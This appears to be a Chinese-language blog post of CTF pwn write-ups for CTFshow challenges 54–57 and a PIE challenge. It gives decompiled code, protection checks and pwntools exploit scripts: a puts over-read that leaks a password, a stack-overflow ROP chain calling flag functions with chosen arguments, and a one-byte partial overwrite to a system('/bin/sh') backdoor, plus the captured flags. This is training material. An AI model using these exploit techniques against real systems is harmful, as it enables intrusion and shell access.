QWQ…OWQ…OWO…0.o?

pwn54

32位程序

分析主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char s1[64]; // [esp+0h] [ebp-1A0h] BYREF
 char v5[256]; // [esp+40h] [ebp-160h] BYREF
 char s[64]; // [esp+140h] [ebp-60h] BYREF
 FILE *stream; // [esp+180h] [ebp-20h]
 char *v8; // [esp+184h] [ebp-1Ch]
 int *p_argc; // [esp+194h] [ebp-Ch]

 p_argc = &argc;
 setvbuf(stdout, 0, 2, 0);
 memset(s, 0, sizeof(s));
 memset(v5, 0, sizeof(v5));
 memset(s1, 0, sizeof(s1));
 puts("==========CTFshow-LOGIN==========");
 puts("Input your Username:");
 fgets(v5, 256, stdin);
 v8 = strchr(v5, 10);
 if ( v8 )
   *v8 = 0;
 strcat(v5, ",\nInput your Password.");
 stream = fopen("/password.txt", "r");
 if ( !stream )
{
   puts("/password.txt: No such file or directory.");
   exit(0);
}
 fgets(s, 64, stream);
 printf("Welcome ");
 puts(v5);
 fgets(s1, 64, stdin);
 v5[0] = 0;
 if ( !strcmp(s1, s) )
{
   puts("Welcome! Here's what you want:");
   flag();
}
 else
{
   puts("You has been banned!");
}
 return 0;
}

简单分析函数逻辑

交互效果就是用户首先输入usernameusername依靠fgets函数获取,fgets函数的好处就在于会限制读取字节数,避免了普通gets函数存在的栈溢出风险

但是这里username的储存长度设置为256字节,并将其存储于变量V5

然后立马接了一个puts函数

puts函数的特性就是在/x00之前不会停止输出

这里就和前面的变量V5有了一定关联

变量V5存储的位置为:0x0000000000000160

而后续的密码存储于变量s

s的位置是:0x0000000000000060

二者刚好相差0x100

而这刚好就是256字节

所以一旦在输入一个长度为256字节的username后,puts函数会输出一个welcome后接上刚刚的username,但如果username里面没空格符和换行符的话,puts函数将按照位置继续输出,而256字节后,刚好就是密码所在的字段

所以当输入一个长度为256字节的username时,它的欢迎内容会在后面多跟一段密码

那么exp就很明显了

from pwn import *
p=remote("pwn.challenge.ctf.show",28141)
payload = b'a'*256
p.sendline(payload)
p.interactive()

交互结果:

D:\python\pythonProject\.venv\Scripts\python.exe D:\python\pythonProject\pwn54.py 
[x] Opening connection to pwn.challenge.ctf.show on port 28141
[x] Opening connection to pwn.challenge.ctf.show on port 28141: Trying 124.223.158.81
[+] Opening connection to pwn.challenge.ctf.show on port 28141: Done
[*] Switching to interactive mode
==========CTFshow-LOGIN==========
Input your Username:
Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3

You has been banned!
[*] Got EOF while reading in interactive

这里的CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3就是最终的用户密码

于是再一次进行交互

C:\Users\26597>nc pwn.challenge.ctf.show 28141
==========CTFshow-LOGIN==========
Input your Username:
a
Welcome a,
Input your Password.
CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3
Welcome! Here's what you want:
ctfshow{cf69bbb6-bc1f-48d4-9a0f-d9595a477f27}

pwn55

checksec

32位

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn55'
   Arch:       i386-32-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        No PIE (0x8048000)
   Stripped:   No

IDA分析

主函数没东西

进ctfshow函数

里面还是没啥东西

就明摆着一个gets函数栈溢出

看函数列表

存在几个很明显提示的函数

flag_func1,flag_func2,flag三个函数

一一查看

flag_func1

Elf32_Dyn **flag_func1()
{
 Elf32_Dyn **result; // eax

 result = &GLOBAL_OFFSET_TABLE_;
 flag1 = 1;
 return result;
}

flag_func2

Elf32_Dyn **__cdecl flag_func2(int a1)
{
 Elf32_Dyn **result; // eax

 result = &GLOBAL_OFFSET_TABLE_;
 if ( flag1 && a1 == -1397969748 )
{
   flag2 = 1;
}
 else if ( flag1 )
{
   return (Elf32_Dyn **)puts("Try Again.");
}
 else
{
   return (Elf32_Dyn **)puts("Try a little bit.");
}
 return result;
}

flag:

int __cdecl flag(int a1)
{
 char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
 FILE *stream; // [esp+3Ch] [ebp-Ch]

 stream = fopen("/ctfshow_flag", "r");
 if ( !stream )
{
   puts("/ctfshow_flag: No such file or directory.");
   exit(0);
}
 fgets(s, 48, stream);
 if ( flag1 && flag2 && a1 == -1111638595 )
   return printf("%s", s);
 if ( flag1 && flag2 )
   return puts("Incorrect Argument.");
 if ( flag1 || flag2 )
   return puts("Nice Try!");
 return puts("Flag is not here!");
}

初略审计,大意就是func1调用,flag1就等于1了,也就为真了

调用func2,此时会检查flag1是否为真,并检查a1是否为对应值

调用flag,此时会检查flag1,flag2是否为真,并检查a1是否为对应值

初略理解至此即可

记录三函数地址,打平字节

payload = flat([b'a'*(0x2c+4),flag1,flag2,flag,-1397969748,-1111638595])

完整exp:

from pwn import *
p = remote("pwn.challenge.ctf.show",28301)
flag1 = 0x08048586
flag2 = 0x0804859D
flag = 0x08048606
payload = flat([b'a'*(0x2c+4),flag1,flag2,flag,-1397969748,-1111638595])
p.sendline(payload)
p.interactive()
D:\python\pythonProject\.venv\Scripts\python.exe D:\python\pythonProject\pwn55.py 
[x] Opening connection to pwn.challenge.ctf.show on port 28301
[x] Opening connection to pwn.challenge.ctf.show on port 28301: Trying 124.223.158.81
[+] Opening connection to pwn.challenge.ctf.show on port 28301: Done
[*] Switching to interactive mode
   ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                          
 ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                          
██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██
 ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀
   ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
   * *************************************                          
   * Classify: CTFshow --- PWN --- 入门                              
   * Type : Stack_Overflow                                          
   * Site : https://ctf.show/                                      
   * Hint : Try to find the relationship between flags!            
   * *************************************                          
How to find flag?
Input your flag: ctfshow{3a9e5798-5ee2-4802-909d-42fb5ab55206}
[*] Got EOF while reading in interactive

pwn56

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn56'
   Arch:       i386-32-little
   RELRO:      No RELRO
   Stack:      No canary found
   NX:         NX disabled
   PIE:        No PIE (0x8048000)
   Stripped:   No

IDA分析

就一个函数

void __noreturn start()
{
 int v0; // eax
 char v1[10]; // [esp-Ch] [ebp-Ch] BYREF
 __int16 v2; // [esp-2h] [ebp-2h]

 v2 = 0;
 strcpy(v1, "/bin///sh");
 v0 = sys_execve(v1, 0, 0);
}

shellcode说是

实际上shell直接就给了

连上就送了属于是

pwn57

同上,连上就送,这两题的主要目的还是认识shellcode

Welcome come to the world of PWN

这题可以和ACECTF中的PIE进行联动

ACECTF中的就是一个先导题

很遗憾没能第一时间意识到这俩实际上是一个考点

checksec

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\GHpwn1'
   Arch:       amd64-64-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        PIE enabled
   Stripped:   No

IDA打开

反编译结果很明显

main函数就执行两个主要函数

输出函数没什么好说的

全是put输出

func1函数里面存在很明显的栈溢出漏洞

ssize_t func1()
{
 _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

 return read(0, buf, 0x40uLL);
}

很简单的栈溢出

看函数还能发现存在backdoor函数

直接给了

int backdoor()
{
 return system("/bin/sh");
}

很明显了

一般情况就是溢出字符加后门函数地址就好了

但是存在PIE保护

PIE保护的效果是什么

参考ACECTF中PIE题目

PIE的存在让我们拿不到远程交互的函数实际地址,就没法完成提权操作

而内存分页机制存在问题:程序地址最后 316 进制位是不会改变的

这个地方可参考ACECTF,ACECTF对此做了很不错的引导

那倒回此处

溢出拿到

已知因为内存分页机制,程序地址后三位不变

而关键的backdoor函数地址

.text:00000000000009C1 ; int backdoor()
.text:00000000000009C1                 public backdoor
.text:00000000000009C1 backdoor        proc near
.text:00000000000009C1 ; __unwind {
.text:00000000000009C1                 push    rbp
.text:00000000000009C2                 mov     rbp, rsp
.text:00000000000009C5                 lea     rdi, command   ; "/bin/sh"
.text:00000000000009CC                 call    _system
.text:00000000000009D1                 nop
.text:00000000000009D2                 pop     rbp
.text:00000000000009D3                 retn
.text:00000000000009D3 ; } // starts at 9C1
.text:00000000000009D3 backdoor        endp

为了能够使用p8方法,我们采用后两位,若采用后三位则会使p8方法报错

不知道是不是PIE都默认使用p8方法,日后再进行验证

exp:

from pwn import *
p = remote('node6.anna.nssctf.cn',22606)
payload = b'a'*0x28 + p8(0xC5)
p.send(payload)
p.interactive()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇